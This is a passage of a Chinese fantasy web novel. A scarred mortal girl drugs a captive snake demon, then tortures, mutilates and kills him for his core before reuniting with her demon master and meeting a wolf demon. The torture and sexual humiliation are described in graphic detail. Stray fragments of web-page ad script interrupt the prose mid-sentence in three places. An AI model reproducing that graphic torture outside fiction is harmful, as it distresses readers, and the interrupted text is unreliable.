调息半刻的蛇妖少年脸色大变,仓皇躲避三把刺向他的剑刃,却听见一声闷哼,少女伏倒在地,被利剑所伤,浓郁的血腥味迅速传开。 “是修士,快走!” 剑已出鞘,空气中弥漫着浓浓的杀意,周围的修士灵力在他们之上! 蛇妖气动期,相当于练气,锦雏也只是开灵期,最高能对上筑基初期的修士。 而此时,左右都是筑基期的修士,在绝对的实力面前,别说再使什么阴谋鬼计对付,只是蜉蝣撼树虎,以卵击石,连逃跑都来不及。 “快点跑!” 锦雏丢出万不得己才能使用的中阶保命妖器,又抛出烟罗,几声炸响,扰乱妖气和视线的烟雾短暂阻碍那些仙门人。 他脚下妖影步变幻不断,俯身正准备去捞陶蓉,谁知她全身瑟缩,误以为他是仙门人,捂着受伤的胳膊,朝旁边的草堆里滚去。 “…“生死攸关,妖雾维持不了片刻,他已经没有时间再顾得了这个受了伤的丑八怪了。 而那些被妖物阻碍视线的修士们,有一人游刃有余穿透迷雾,剑指他和蛇妖的方向。 独眼少年下颌线紧绷,余光瞥了芦苇堆里的少女,脸色发青,只犹疑了一瞬,转身便独自逃跑。 他跑得极快,妖法诡异,难以捉摸,但逃不过刘腾洞察一切的灵眼。 刘腾连刺了两剑,剑端染血,男妖转身掷出一个罗烟,气息像是臭鼬喷.射的强烈气味加上妖毒,灵眼暴露,便极刺目。 双目疼得睁不开眼,刘腾本觉杀了这独眼男妖是胜券在握,此时痛叫不已,捂住眼后退。 再睁眼,独眼男妖早已失了踪迹。 他气急,回头想去捉雾里的其余妖怪。 谁知身后一条叼着人的巨蛇甩尾一扫,裹挟着青紫色妖雾,令人不敢轻易靠近,朝深山里逃窜。 “该死,你们怎么回事?傻愣着干什么?还不快追!”刘腾气得半死,他带领的师弟也有三个筑基期的弟子,结果这么多人,连两只小妖都捉不住! * 陶蓉清理修士尸体做的好,独眼怪会赏她什么个辛苦费。 都是一些独眼怪觉得无用和不值钱的玩意。 第一次是一枚莲花簪,是独眼妖从命陨的弟子身上顺的。 第二次随手丢给她一本《万灵草经》和一本《低阶灵器物志》,没什么太大卵.用,一本记录各种灵草异木的名称属性,另一本记载了仙门的各种低阶器物。 “小丑八怪,你看懂字吗?”独眼怪把书丢在她脚下,大有看她笑话的意思。 陶蓉半真半假和他说过自己的家世,就是一个穷人家的丫头,去了府里做活计,被老爷看上做了通房,后来被主母妒忌划破了脸,打了一顿,带着卖身的银钱首饰丢在路边。 她捡起地上的两本古籍,紧紧抱在怀里,藏拙道:“小人只看得懂几个字,但主人赏赐之物,就算看不懂,小人也喜欢。” 独眼少年笑得前仰后俯,直夸她“乖巧”,说下次就给她寻养颜丹来治她的脸。而旁边的蛇妖少年则鄙夷皱眉,讽刺她谄媚下贱。 那本《低阶灵器物志》,陶蓉熬夜默默看完,记在心里,抽出发丝里的莲花簪,笑了。 这两个男妖怪都不知道,他送给她的莲花簪子,是仙门里的低阶灵器。 就和陨落修士在临死时,想要燃烧传音符或是捏碎传信玉简一样。 只要捏.爆点缀在莲花心的宝珠,就可为死去的修士向仙门通风报信,灵蝶也可以为其他仙门弟子在半路捕获感知。 在前夜埋尸时,陶蓉就这么做了。捏.爆簪子的宝珠,灵气浓烈,化作不同的浅淡流光,隐没在暗夜中。 陶蓉笑了,不消几日,仙门人收到讯息应就会追来。 只是没想到锦雏这独眼怪这般警惕,今夜就要赶路转移位置。 她一路拖延时间,放慢步调,仙门修士便追来了。 跟在独眼怪身边三个月,她耳濡目染下,也了解妖魔仙三界,仙门弟子最是会装,讲究修心养性,遵循天道。 她是凡人,仙门修士妄杀凡人有损功德业力,很可能会导致修行受阻,遭受天谴。 所以,她今夜就算被仙门弟子拿住,可她是凡人之身,躲在草丛里,装的可怜无辜一些,撇清和妖怪的关系,说是迫不得已被妖怪挟持,想来也能保下自己。 迷雾释放,独眼怪独自逃了,她并不意外。 谁料蛇妖膨胀为巨兽原形,蛇嘴叼住她的腰身,匆忙往山里逃。 “放开我!” 陶蓉大喊,腰身却被咬的更紧,津液濡湿了她的后背,她反手扶住蛇妖的毒牙,跌宕起伏,全身被毒雾裹挟,面色发紫,上气不接下气。 这个死蛇妖! 疯了吧!难不成真把她当作人质?还是当做补给的食物? 蛇妖后背中了剑,一柄长剑穿透他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的肚腹,他疼得厉害,密齿咬伤了口里衔着的少女,尝到甜腥的血气,蛇瞳赤红,气息滚滚,却忘记松口,一路穿梭,去往未知的山丛深处。 狼嚎声四起,身后穷追不舍的修士放慢了速度,在即将擒住蛇妖之际,被潜伏在暗处的另一伙妖困住,身后传来厮杀打斗声。 蛇妖带着陶蓉一路奔逃,仙门人再无瑕追来,直到天色青白,天幕翻起鱼肚白,蛇妖才松了口。 巨蟒蛇妖倒在含着露水的草从里,身躯不断缩下,最后和人的手臂一个粗细,疲惫不堪,没了动静。 少女麻木爬起来,嫌恶蹭去一身蛇妖腺体分泌滑腻的黏液,踢了半死不活的蛇妖一脚。 没动静。 很好,意外之喜。 少女碾压蛇身上的伤口,睨着蛇妖没有知觉的模样,环顾四周,唇角微扬,眸色森冷阴寒。 * 蛇妖觉得自己会死。 可冰凉的身体却突然热了起来,他轻轻睁眼,眼前是一个昏暗的洞穴。 像是回到了原来生存的洞府,他在妖界和蛇族也是生活在潮湿舒适的巢穴里的。 那时,他尚且年幼,妖力低微,还未成长为成为一个勇猛的大蛇妖,魔族便侵入妖界边境,将他的家一锅端了。 他最后九死一生,才逃到人间。 那时他不会化人形,被不同凡人用凶器追着打,最狠的一次是他和凡间的蛇一起在草丛里聊天,结果被一锄头敲了头,险些被凡人打死。 东躲西藏,不知道怎么就化了人形,赤裸着身体高高兴兴去融入人堆里,结果又被一群人追着一通打。 他们说他是流氓。 他有蛇毒,咬死了两个凡人后,吓得半死,又一路奔逃,最后饿的不行,去老鼠最多的一处人家院子里,捕猎。 那个叫做陶蓉的丑陋少女,就是那个院子里,遇到的。 她没戴面具,一张满是疤痕的脸,看到穿着死人扒下来的衣服的他,没喊他流氓,却以为他是乞丐,丢了两个馍馍,叫他滚。 她说话和其他人一样,凶极了。 他就是那日,一直蹲在了门口。 院子里,也有个妖,独眼,叫做锦雏。妖力比他强,更擅长隐藏妖气。 蛇妖冷血,骨子里也傲,和其他妖族从来不合。他却在第二日,主动投靠了那只妖。 便见了那对他凶巴巴的陶蓉,低声下气叫另一只妖主人,温顺谄媚,听话地不得了。 知道他是蛇妖后,她从没有主动和他说过一句话。 后来,他第一次忸怩的开口喊她,对上少女那双戒备狐疑的黑眸……不知为何,就演变成了现在岌岌可危的关系。 她极其讨厌他的,还暗暗对他冷冷翻白眼,他知道。 热……身体好热。 蛇妖扭着一半断开的蛇尾,却发觉自己已经化了人形。 是了,他这两个月,已经习惯维持人形了,因为凡人都恐惧厌恶他的蛇身。 抬眼,恍惚中,面前出现了梦里的少女。 她摘了面具,长腿交.叠坐在矮石头上,正直勾勾盯着自己。 “醒啦?” 少女冲他露出一个隐含深意的微笑,笑的过于温柔,却莫名令人不寒而栗。 “小贱.妖,那就跪下吧。” 18. 二血 少女说的“小贱.妖”、“跪下”,蛇妖听着有几分荒谬。 无论是记忆中,还是梦中的陶蓉,低着头,像个木头人服从指令做事,别说出言不逊了,连违逆他都不敢有。 “你脑子坏掉了?” 蛇妖阴嗖嗖瞪着她,自尊心作祟:“竟敢如此和吾说话!” “你还有力气?” 少女谨慎问,盯着他未着寸缕的人形,身材不错,不过在她眼里,只是待宰的鱼肉。 蛇妖体内发热,肚腹的伤比原来还要严重,妖丹受到挤压损伤,动一下全身都像是被碾磨倾轧一样疼。 “没……吾现在没有力气了。” 在人间做了两个月的人,蛇妖知道,什么是羞耻心。 这种伤势下,他也会难为情转过头:“好歹救了你一命,你把衣服脱下来给吾,吾要穿衣服。” “呵” 陶蓉笑了,谁要他救了?这蛇妖可没这么好心,也没半点眼力见,这种时候,还趾高气扬吩咐她,以为自己还会老老实实听话呢。 走近,捏住少年苍白冰凉的脚,吓得蛇妖猛然一怔。 “你干什么?” “小瑟大人受了伤,小人给你治一治。” 少女嘴角噙着笑,细长指节扣住他小腿骨骼,一路摸到后脚跟腱,少女眯眼,表情变得灵动鲜活,蛇妖读不懂她为何好端端朝他发笑,也不大明白她的举动。 温热的掌心贴着他的脚腕,以及他幻化出来的足弓,蛇妖少年明显有些别扭,他颤颤狭长的睫毛,有些紧张无措。 体内好热,蛇成年后,会在冬眠结束进入发.情期,他现在,刚成年,距离发.情期为时过早。 可现在的身体,有了欲.念。 “快把你的衣服给我!” 蛇妖语气短而急促,低哑干燥,可再如何张狂听着也有气无力,失了往日清高傲慢的嘴脸,更像一个色荏内茬的纸老虎。 在陶蓉看来,药效起了作用。 她在山里发现了千两金,俗称仙灵脾,《万灵草经》记载,这东西可是令人发.情也能让人全身无力的好东西。 最适合给咬人的蛇妖用了。 疼痛感就小腿处袭来,膝盖骨至小腿脚腕,骤然切出一条血淋淋的长痕来。 皮肉外翻,少女犹如剖鱼宰鸡,刀尖翻起蛇妖腿上的皮肉后,贴着小腿骨头“咚咚”地戳动。 犹如在做什么快慰的事,她眉目舒展,嘴角翘起,怡然自乐。 难以形容的巨大痛楚,敲击着蛇妖,遭受威胁后,出于本能他抬脚便想踹开伤害他的人,结果力气太弱,一抬脚还没有用力便被少女摁住。 “死蛇妖,现在你在我手里,要么乖乖跪下求我,要么等着死吧。” 一眨眼,少女轻描淡写挑开他脚跟的肌腱,手脚都是他尾巴的幻肢,而少女挑断的跟腱则是他蛇尾的末梢,细密刺疼涌来,少年再顾不得人形,直接化为蛇身,躲过少女的毒手,嘴巴长得极大,露出毒牙惊恐地对准她哈气。 “呕” 两根手指毫无预兆往蛇嘴喉咙里捅。 蛇妖没见过这种操作的人,气得七窍生烟,毒牙刺入她的虎口,她有蛇毒解药,没有在意,而是扼住青蛇的七寸,抠住蛇嗓子眼的力气凶狠,将蛇妖硬生生抠裂。 “化成人形,跪下好声好气求我,我放你一命。” 蛇妖吓惨了,他骨子里傲慢,可现在少女阴森扼住他的七寸,抬手将他踩在脚下,靴底踏着他的蛇头,铆足了劲要杀了他。 少女脚下,这叱骂指使她两个月的蛇妖,为了活命,还是狼狈卑微地化为了人形。 赤着全身,唇角带血,失神的翻着白眼,恹恹虚弱地在她脚下,口齿不清,含着血水道:“饶…命。” 自从斩杀狐尾,亲眼看着狐妖死在眼前,那复仇后片刻的快意,在陶蓉心里,胜过十六年来拥有过的全部幸福。 所有辱她欺她伤她之人,最后,都被她踩在脚下,求生不得求死不能。少女饮恨吞声,忍辱负重,在此时,豁然开朗,终于尝到了微末甜头。 只是这种甜头太不值一提。 因她脚下的蛇妖,只算是登天路上的过眼云烟。就如所有人眼中微不足道的她一样,何人在她眼里,同样无足轻重。 蛇妖小命捏在她手里,是生是死,全凭陶蓉的心情罢了。 就算答应过蛇妖不杀他,但她''师承''伪善的狐妖,也无诚信可言。 少女一笑,比之过往举棋不定瞻头顾尾的那个可怜丫头,她更喜欢现在心肠冷硬的自己。 接受自己的恶毒无情,落子无悔,连自怨自艾都不会再有。 “跪下,别让我说第三遍。” 少女收了脚,一个冷冰冰眼神扫过,蛇妖少年全身一抖。 在性命威胁之际,很少有人真舍得坦然赴死,逞论徒劳地死守骨气和自尊。 心高气傲的少年脸颊都是擦伤,他晃了晃身子强撑着抬头,灰色的蛇瞳愤懑幽怨看了一眼居高临下冷视他的少女,撕裂的唇齿翕张,正想开口,谁知一巴掌又甩到他的脸上。 “——啪”的一声,少女讥笑,用了十成十的力道,抬腿又狠狠踹了少年的肚腹一脚。 伤口爆裂,血肉挤压,腹部血肠都压出一点儿来。 肌肤滚红,蛇瞳涣散,别说反抗了,这重重一巴掌一脚,直接击溃了蛇妖少年最后一丝自尊心。 他身子一歪,晕晕沉沉扑倒在阴湿的石子地面,脸颊剧痛,大脑嗡鸣作响,类似被锄头敲蛇脑壳的痛感。 “…跪…我现在就跪。” 又疼又惧,他孱弱并拢自己双腿,跪倒,眼角泪湿,对凡人这一跪,属于妖族的底气也彻底崩塌。 “你知道我为什么这么对你吗?” 少女蹲下身,把玩着手里的短刀,勾着唇角,目光幽幽。 “说话。”她低喝一声,刀背拍打他的脸颊。 “…因为……你”恨我,你给了我馍馍吃,我却把你当作仆人欺负。 少年低头,欲言又止,就是这么一犹豫,陶蓉失了耐心,刀尖刺在他的胸膛。 像是作画似的,力气不算重,只是轻微割开他胸膛的皮肤,转着刀柄,在他胸部作画。 一路留下猩红血丝,像是落在腊月雪地里的红梅,妖冶艳丽。 “因为什么?” “因为我打你骂你……”蛇妖面无血色,哆嗦发抖。 “呵,变态。” 此话一出,少年像是在沸水里烫煮,羞耻难当,挡住身子,长睫染泪。少女鄙夷的刀子眼,恨不得让他自戕。 蛇窝被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 魔族端了,他都没想死,可现在,莫大羞耻和摧折下,他却觉得不堪忍受了。 “你……你杀了我吧…” 陶蓉还未享受够,偏不如他意。 体内不断延伸燥热,绵软像是成了一滩春.水,蛇妖伏倒在地,咬破了嘴唇,失去理智,攥住少女的衣角。 “陶蓉……”洞内只有二人,冰火两重天的蛇妖卑微地盯着眼前的少女。 “谁允许直呼我的名讳?当初你是如何让我称呼你的?你好厚的脸皮!” 又一巴掌甩去,少年身子倒下。 陶蓉饶有兴致觑着脚下的玩意好一会儿,不急,也未动。 “陶蓉大人……我……小人……”少年重新跪好,舌头咬的鲜血淋漓,却不得解渴,弯足了脊背,只能红着眼含着泪去求她。 “给我……杀了我。”少年去撞她的刀口,少女缩手。 “都说了,你若乖乖求我,我就饶你一命。”少女一顿:“我要你问你一个问题,你老实交代。” “我以前……见过一个四爪兽形么?和你有几分相似,但又不想蛇,兽头还有两个微微凸起的角,你说,那是四脚蛇,还是什么妖兽?” 见蛇妖痛苦难耐,半晌不开口,陶蓉最终还是放弃了对这个问题的深究。 那个化成妖兽原形的小孩,把最重要的护心鳞交给她,不肯闭眼,看着她转身离去的背影。身后的小兽,声嘶力竭,喊了一句“小蓉。” 被毁容后,等仙门弟子都走了,陶蓉又返回过堂屋,可连薛丑的尸身都找不到。 或许他偷偷躲在哪里死了,还是早被仙门弟子盯上了兽皮,连皮带骨收了起来。 “喂,你在干什么?”少女回神,便见面前陷入春.潮的蛇妖少年一颤,全身紧绷,又气又哑:“你……别过来!” 一刻后,少年扬起下巴,在纾.解之时,陶蓉下了手。 一刀,砍下蛇妖一根碍眼的东西,短刀打磨过,削铁如泥,还有少年的右手,也一并砍下来了。 鲜血四溅,少年睁大眼,清醒后蛇瞳爆裂,痛的现出半个原形,蛇尾蜷缩,死去活来嘶鸣不止。 “哦,还有一个。” 蛇有成对的交.配囊,在泄.殖腔内两侧,蛇体躯干与尾部之间。 “你……杀了我……不要再…折磨我。” 半人半妖的蛇妖宛如死鱼,被切了丁,血流不止,心如死灰,再翻不起半点风浪。展开蛇尾,咬破了舌头,蛇瞳沁血。 天色要亮了,陶蓉还要自己赶路呢。 踩上半裂的蛇尾,少女毫无犹豫斩断。 她无甚表情,就如清理掩埋那些修士的尸体一般,冷冷淡淡。 最后,当着少年的面,利落地剖出他脐下的妖丹,淡青色的妖丹,有几分裂痕,但汇聚了蛇妖一半妖力,也算个宝贝。 妖丹剜出一刻,赤身裸.体的少年眼中生机黯淡了,空洞无神,死不瞑目,没了气息。 擦净妖丹,少女卷起蛇妖的断尾,笑盈盈折返回去寻人。 她还要找到独眼怪呢。 希望他最好死了。分藏在身上好几处的宝贝最好没有被仙门弟子全部顺走,那样陶蓉就能捡到便宜。 至少,独眼怪手上的金戒指和银钱应该还在,修士可看不上人间的阿堵物。 19. 野狼 少女挎着竹篮,喉咙里哼着不知名的小曲儿,侧脸略带着婴儿肥,皮肤白里透粉。 彩蝶驻足在她的指尖,小姑娘着一袭粗布裙,蹦蹦跳跳,灵巧地在山林穿梭,活像一只可爱的小兔子。 全身血污筋疲力尽的陶蓉行进小一日,越过好几座深山,在太阳即将落山之际,遇到了这个年纪相仿却犹如神灵般的少女。 视线被汗水糊住,陶蓉躲在草丛后,看不清少女的正脸,但见那些围绕周边的彩蝶,霞光映照在少女身上,只觉分外美好。 呼吸一紧,陶蓉不敢露面。 肩膀被蝎子叮了个包,放了血,捣了些山里有消肿解毒功效的马兰外敷,还有余毒,此刻隐隐作痛。面具在蛇妖叼着她逃跑时遗落了,她唇色有些乌青,迟疑半晌,选择远远跟在小仙子身后。 天黑之前,她必须要跟着这姑娘下山,否则很可能会被野兽袭击。 太阳最后一缕余晖落在树顶,山里传来不同声响的虫鸣,眼前采野蘑菇和野果子的少女停了脚。 她倏地回头,陶蓉躲在树后,有一瞬,她以为少女察觉到一路跟踪其后的自己。 结果少女低头蹲下身来,好像看见了什么,小心翼翼上前,嗓音甜软,“你没事吧?” 她试探喊着谁,躺在地上人已经昏迷过去,半天没有反应。 少女慌张地朝四下张望,丢下摘满半框蘑菇和野果的竹篮,捞起地上陌生少年的手臂,想搀扶站起身。 力气不足,她踉跄一下,身形不稳,和少年一同扑倒。 陶蓉探出头,在她的视线看去,那个少女的背影一绊,正好扑在昏迷的少年身上。 而那个少年,罩了一只眼,紧闭着眼,就是锦雏。 “怎么办?你在这等等我……我去喊阿朗来。” 山野里,少女急急忙忙起身,同时也露出真容。 那是一张极眼熟的脸,明眸皓齿,樱唇粉腮,长得灵秀甜美,眉眼间皆是不谙世事的纯净。 ……少女的容貌,和说陶蓉伤风败俗,是狐妖豢养的人奴的苏灵玉仙子长得一模一样。 因为仙宗掌门之女高高在上的那一句话,陶蓉便被看成一个下作淫.秽的女人,受到了仙门弟子一致的冷眼和羞辱。 陶蓉神色一沉,她是个十足记仇之人。那个被叫做灵玉小师妹之人,就是眼前这个少女!陶蓉不可能忘记。 从树后站出来,陶蓉表情阴郁,心想是否要趁这仙子落单时报复一下,谁知少女满脸焦急,顾不得去提竹篮,转身就朝另一个方向小跑离去,一眨眼人就不见了。 “……”算了,这次就放过她一次。 陶蓉捂住刺疼的肩膀,心烦意乱走向周围已没了旁人的独眼怪身边。 独眼少年身上不像是修士所伤,更像是被某种野兽撕咬……大腿和腰腹都要明显的伤口,深可见骨。 他脸色苍白,闭着完好的独眼,眉宇微皱,好像昏过去了。 腰带的妖芥袋、手上修士的灵戒、金戒指、里衣内衬夹藏的宝贝,摸了,都在。 妖丹也在。 肯定不是修士伤的,应该就是野兽咬的。 这附近的山林,偶尔能听见狼嚎。 陶蓉从少女遗落的竹篮里捡了一颗野果子,酸爽过后能尝出几分甘甜爽口,没过两下,她咔嚓咔嚓两三口吃完一个,丢了果核,少女阴阴一笑,最终决定杀人掠货。 从刀鞘里拔除短刃来,对准锦雏的脐下,看在主仆一场的情分上,决定直接剖丹,给他一个痛快。 “好妹妹,你在干什么呀?” 独眼少年陡然坐起身,漫不经心拉长了语调,眼中妖气与杀意同时一荡。 陶蓉心底发寒,四更天虐杀了蛇妖,她有些轻率盲目自信了。 刀尖一转,割开他腹部和血黏着的衣料,她强作镇定,眼眶一红。 “主人,你终于醒了!小人一直守在你身边,可要担心坏了!” “一直守在我身边?” 少年嗤了声,不咸不淡开腔:“那你就眼睁睁看我躺在地上等死吗?” 陶蓉摇头:“没有……小人要扶你下山去医治的,只是在山里迷了路,只能在这稍作休息。” “哪来的竹篮?还采了这么多蘑菇和野果。” 少年两指夹住一个野果,慢条斯理咬了一口,含笑的目光轻飘飘落在她脸上:“挺甜呐。” 跟在独眼怪身边也有一阵子,陶蓉了解这独眼男妖是什么手段。每次杀那些修士,表面上云淡风轻,也像这样装模作样的笑。实际心里百转千回,确保做到一击必杀。 “你怎么就一个人?小瑟呢?” 有那一刹,陶蓉脊背发凉,渗出涔涔冷汗。 “小瑟大人被修士杀了,他们看小人是个凡人,以为是被小瑟大人捉去的人质,才手下留情,放了小人一命。” “哦,那这竹篮哪来的?是你编织的?” 蛇妖死了,独眼怪好似并不在意。 话锋一转,他又聊回竹篮。 陶蓉一滞,硬着头皮摇摇头:“不是,这竹篮……小人背着你在这休息,就看见了,许是山里有人居住,不小心落下的。” 如果如实说刚才就有个少女过来救他,然后又去叫人来,独眼怪定然会诘问陶蓉,为什么不背着他跟着少女一起走。 一个谎言,要用好几个理由去掩盖。 论手段,陶蓉根本不及在人堆里摸爬滚打了好些年头的独眼妖。 “好了,你背我。” 独眼怪勉强松了口,没有再紧追不放,软绵绵地摊开手。 少女擦了擦下巴的汗珠,心下暗暗松了口气,俯身将人背起来。 她力气大,背着个身量都比她高和结实的男人,步子要比方才摔倒的少女沉重许多,虽然走一步就要喘两口缓一缓,但咬咬牙,能坚持。 “小丑八怪,我知道,刚才先发现我的,是别的姑娘,不是你。” 贴着耳边的话散漫飘来,像是幽魂鬼泣,吓得她险些撒手逃窜。 一只大掌按压在她的肩膀上,那处,是毒蝎子蛰伤处,还很是肿痛。 锦雏故意掐紧,直疼的少女咬破了嘴唇,额角发汗。 他犹不解气,不冷不热道:“我啊,受伤后,就一直躺在刚才那块草地上休息,脑子清醒得很。” 少女全身紧绷,像是背了一只恶鬼,根本不敢回头。 肩上的力气加重,仿若要捏碎她的肩胛骨,又听独眼男妖徐徐道:“我是你恩人兼主人,好歹掏心掏肺教了你三个月,丑八怪,你想做白眼狼是吗?” “我……主人,我承认我撒谎,但真没有别的心思。” 锦雏臂下的少女,已经开始汗流浃背。她盯着正前方的树木,暗暗吞咽口水,不敢看他,却下意识乱了阵脚,自称“我”了。 锦雏头一次觉得凡人可怜,在雨天里观望了许久,才捡了回去。 谁知道,她是头小白眼狼,盯上他身上的宝贝了。 心口寒凉,戾气丛生,瞥了一眼陶蓉纤细的脖子,恨不得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 单手拧断,可好几抹汗珠从肌肤没入少女交叠的衣襟里,隔着薄薄衣衫,掌心下就是少女剧烈跳动的心脏。 他冷冷扫了眼她紧张的模样,拧眉抿唇,最终选择作罢。 不知道走了多久,天渐渐黑沉。 而背上的恶鬼,还没有对她动手。 陶蓉说不出心里是什么感觉,有些意外。 人与人、与妖之间,玩得都是阴谋诡计,得失利弊,除了自己,她早就不相信任何人。 福祸相依,跟了独眼怪之后,干得也是刀口舔血的活。他足够贪婪阴毒,阴险狡诈,诡计多端,杀人不眨眼,不是什么好鸟。 只是没想到,这狗玩意竟放了她一马,搞得像真有人情味似的。 “……” 锦雏就算不杀她,她也不会感激的。 福祸相依,她跟着独眼怪,干得是刀口舔血的活,日后也会遇到更多的险境。护心鳞还不足以真正护住性命,至少若被砍断头颅,也会一命呜呼。 她要做的,就是汲取教训,更加谨慎小心一点,给自己多留一些保命底牌。 * 狼嚎声就在耳旁,野兽矫健的身姿掠过荆棘丛林,黑夜中,现数十双绿眸,悄然埋伏在周围,伺机而动。 “……”背着独眼怪的少女无声停了脚步,她扫过一圈圈幽亮狼眼,有些无奈。 山里的路走来走去都没有尽头,像是绕圈,黑夜行走,当真是迷路了。 周围的野狼都在窥伺着他俩,说不定一眨眼就会发起猛攻。 心弦紧绷,陶蓉抿紧唇珠,将忌惮独眼怪的事暂时压下,“主人,狼怕火,你可会操控火术?” “不会,我身上的伤就是被这群狼咬的啊。” 少女有些怒其不争,别人碰到的师父主人都是大能,她遇到的都是一群垃圾。 眼看那群野狼逼近,陶蓉黑着脸将背上的妖放下来。 “你想自个跑?”独眼少年声音端的是漫不经心,无所谓地靠在树下,不知安的什么心。 野狼环伺,她想跑也跑不了。 陶蓉畏忌锦雏,也不太愿意鸟他。 抽出腰上的短刀,冷冷凝向一众绿眼,靠山山会倒,靠水水会流,她谁都靠不住,无论何时,都只能将活命的赌注压在自己的身上,还有她手上的刀。 果不其然,独眼少年独自跃上三丈高的榆钱树枝头,束手旁观,居高俯视着她。 一众野狼发起进攻,难以上树伤到锦雏,只能对地面的陶蓉露出獠牙,皮毛油光水滑,齿上的黏液在月色下一闪,幽幽扑来,少女翻了个身闪避,小腿上却被划下三道爪痕。 狼嘴咬住她的另一只腿,其余野狼也扑了上来。 少女两腿被好几只狼啃着,她未喊一句疼,也不像旁人拼命朝后退,在野狼撕咬她血肉的同时,抽出一只躲避啃咬的手腕,狠狠刺入一只泛着幽光的狼眼。 抽刀,刺向狼颈,没有停歇,又刺向另一只狼脆弱的脊柱。 “嗷…”凶恶的狼疼的一缩,兽口被利刃直接从下颌贯穿它的上颚。十几个来回后,少女咬碎了银牙,下手极狠辣,鲜热的血喷.溅到少女疤痕累累的脸庞,乃至眉头,皎洁月色下,少女摇摇晃晃抽出刀,慢腾腾站起来。 她脚边是五条伤残的豺狼,一脚踩断野狼的前肢桡骨,“嘎嘣”一声脆响。 身后,伴随着一声清软的口哨,所有对峙的野兽夹起狼尾,后退伏倒。 陶蓉杀红了眼,握着刀柄回头,对上一抹干净秀美的人影。 20. 易主 是那个和苏灵玉仙子长相一样的少女。 少女手边抚着一只威猛乖训的豺狼,身后还跟着一个九尺高的巨汉。 玉步轻盈,款款而来,美的像是误入山野的仙子。 少女走近后,周围对陶蓉发起进攻的灰狼都温顺极了,欢快摇起狼尾,吐出舌头,恨不得露出肚子让少女抚摸。 却因为壮汉的存在,低声呜咽,不敢造次。 “怎么回事?它们怎么伤成这样……” 少女看到了地上五匹受伤的狼,一惊,小跑过来抱住其中一只。 秀气的琼鼻一酸,转眼间,大滴大滴的眼泪就往下落。 “是谁伤了它们?” 柔美少女抬起小脸,晶莹泪珠将落未落缀在眼尾,楚楚可怜,悲愤交织地凝向陶蓉。 有一瞬,她被面容丑陋猩红的陶蓉吓到,眉眼闪过几分惊恐,如受惊的小鹿,声音颤抖不稳:“你是谁?是……是不是你伤了我的朋友们?” 朋友?她说的朋友是这些围击她的狼吗? 持短刀的陶蓉冷笑,又有些狐疑。 那高高在上的宗门仙子,怎么跑这山沟沟里来了? 眼前赫然出现一道高山似的巨影。 虎背蜂腰,皮肤黝黑,两臂和大腿都是铁铸般的肌肉,沉默寡言,刀削似的硬朗面庞,如守护神挡住了哀哀啜泣的少女倩影。 他只是打量了陶蓉一眼,目光是拒人千里的寒冰,看向躲在榆树上的男妖,言辞犀利疏离。 “闯入我的地盘,趁我暂时不杀你,快带着你的同伴一起滚。” 莫大的威压此时涌来,力量悬殊,有意逼向跟前杀了好几匹狼的凡人少女。 陶蓉体内翻江倒海,血气上涌,后退几步。 树上的锦雏不知何时落了地面,指尖抵住陶蓉的后背。 独眼少年衣袍浸透血色,弯了眼,吊儿郎当一副巴结嘴脸。 “大哥,我们不是有意闯入你的地盘,只是仙门对妖怪下了追杀令,外面还有一大批仙门虎视眈眈追杀我们,我的另一个同伴已经被修士杀了,我和我妹妹出去就是死。” 一只沉沉手臂搭住陶蓉的肩上,她微怔,独眼少年已将大部分重量压在她身上。 少年羸弱不能自理倚着她,一脸哀戚,悲恸难忍:“我那兄弟,虽然是妖族,却最是友善,从不滥杀无辜,就是因为昨夜那群仙门人,说杀就把他杀了,狼妖大哥,你要是给我一百个胆子,我都不敢有意打扰你的清净,只是看在小弟也是好不容易修炼了妖丹的份上,被那些仙门人盯上眼了,你通融通融,让我们投靠你吧。” “妹妹,眼前这位是狼大哥,妖婴巅峰修为,相当于修士的元婴大圆满,很强的,来,叫声大哥。” 元婴大圆满的修为,陶蓉学习过,在仙门都是可以用鼻孔看人的强者。 锦雏肘部轻轻撞了一下陶蓉,咽下喉咙的腥甜,少女上道,也挤出笑容,只是模样不好看,对着面前的壮汉跟着喊了一声“大哥。” “住口。” 面容冷硬的壮汉收回了强大的威压,目光带着薄薄的一层寒光冷雾,嫌恶瞥了一眼两人:“我与你不是一路妖,与这凡人,更是毫无干系。” 生人勿近的妖婴大能:“快滚。” “阿朗哥……” 抱着死去的狼朋友们,少女怯怯看向伤势严重的独眼少年时,有些于心不忍,“他就是我白日采果子遇到的人,我们帮帮他吧。” 她叫萤萤,有记忆起就生活在山里,与世无争,仅有阿朗和这些动物朋友陪着她。 阿朗哥是她唯一的亲人,他不让她下山,她便只能与山里的飞鸟走兽做朋友。 怀里与她作伴的几只小狼朋友死了,她又惊又伤心,眼前这个阴沉鄙陋的少女,下手太狠。 可难得有人进入山林,还遇到困难,举手之劳帮帮他们也没什么的。 对于外来者,萤萤觉得既好奇又惊讶。 她睁着一双水汪汪的大眼睛,和那个受了伤的独眼少年对上时,对方扬眉朝她微微一笑,萤萤便莫名有点儿紧张。 “阿朗哥…”她揪着山一样高大的男人:“他们看起来不像坏人,你让他们留下来吧,反正你也会保护我的。” “……” 狼妖周朗拧眉,面色沉沉,于情于理,所有闯入这座山的,不论是仙门人,还是妖族,凡人,他都应该杀了,以绝后患才是。 昨夜,那十几个仙门人,即使是清云宗的修士,也照样皆死在他手,唯独留了两个筑基修为的弟子放在地窖里,做储备粮。 而这个独眼的鼠妖,也是妖界逃来人间的,妖力不高,此行闯入就是特意来投奔他做小弟。 打了他两掌,周朗本欲放他一马,让山里的野狼去驱逐他下山。 结果这独眼鼠妖没走,不仅和凡人汇合,还遇到了萤萤。 周朗所作所为,皆是为了守护萤萤,以及隐藏她的身世。 只是萤萤已在山里待了十六年,他知道,她没有同年纪的朋友,身心被困在一方枯井里,越来越觉得孤单。 他眼神落在萤萤身上,少女披散着乌发,明眸皓齿,明明与一母同胞的姐姐是双生女,也该是第一仙门的天之骄女,如今却被束缚在山野里。 不能教她修炼,也没有教过她读书识字,少女身上穿的衣服穿着已经有些不合身了。 